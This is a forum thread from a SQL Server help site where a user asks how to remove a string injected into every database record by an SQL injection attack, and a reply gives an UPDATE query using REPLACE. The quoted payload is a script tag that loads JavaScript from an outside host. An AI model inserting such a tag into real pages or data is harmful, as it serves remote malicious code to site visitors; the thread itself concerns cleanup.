Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

 All Forums
 SQL Server 2005 Forums
 Other SQL Server Topics (2005)
 Removing injected strings from fields.

Author  Topic 

cbadchris
Starting Member

2 Posts

Posted - 2009-05-28 : 09:58:15
I inherrited a site that was hacked via SQL injection. The original data is still there but I need to write a query that removes only the hack content. Basically it just added "<script src=http://elfah.net/h.js></script>" to the end of every record. I am sure there is a query to get rid of this.

madhivanan
Premature Yak Congratulator

22864 Posts

Posted - 2009-05-28 : 10:31:12
update your_table
set your_col=replace(your_col,'"<script src=http://elfah.net/h.js></script>"','')


Madhivanan

Failing to plan is Planning to fail
Go to Top of Page

cbadchris
Starting Member

2 Posts

Posted - 2009-05-28 : 10:53:10
That worked perfectly thanks. I knew about that replace from asp/vbscript but had not seen documentation anywhere on replace() in mssql.
Go to Top of Page

madhivanan
Premature Yak Congratulator

22864 Posts

Posted - 2009-05-29 : 02:04:21
You can read about REPLACE function in SQL Server help file

Madhivanan

Failing to plan is Planning to fail
Go to Top of Page

khtan
In (Som, Ni, Yak)

17689 Posts

Posted - 2009-05-29 : 02:08:08
from BOL
http://msdn.microsoft.com/en-us/library/ms186862(SQL.90).aspx


KH
[spoiler]Time is always against us[/spoiler]

Go to Top of Page
   

- Advertisement -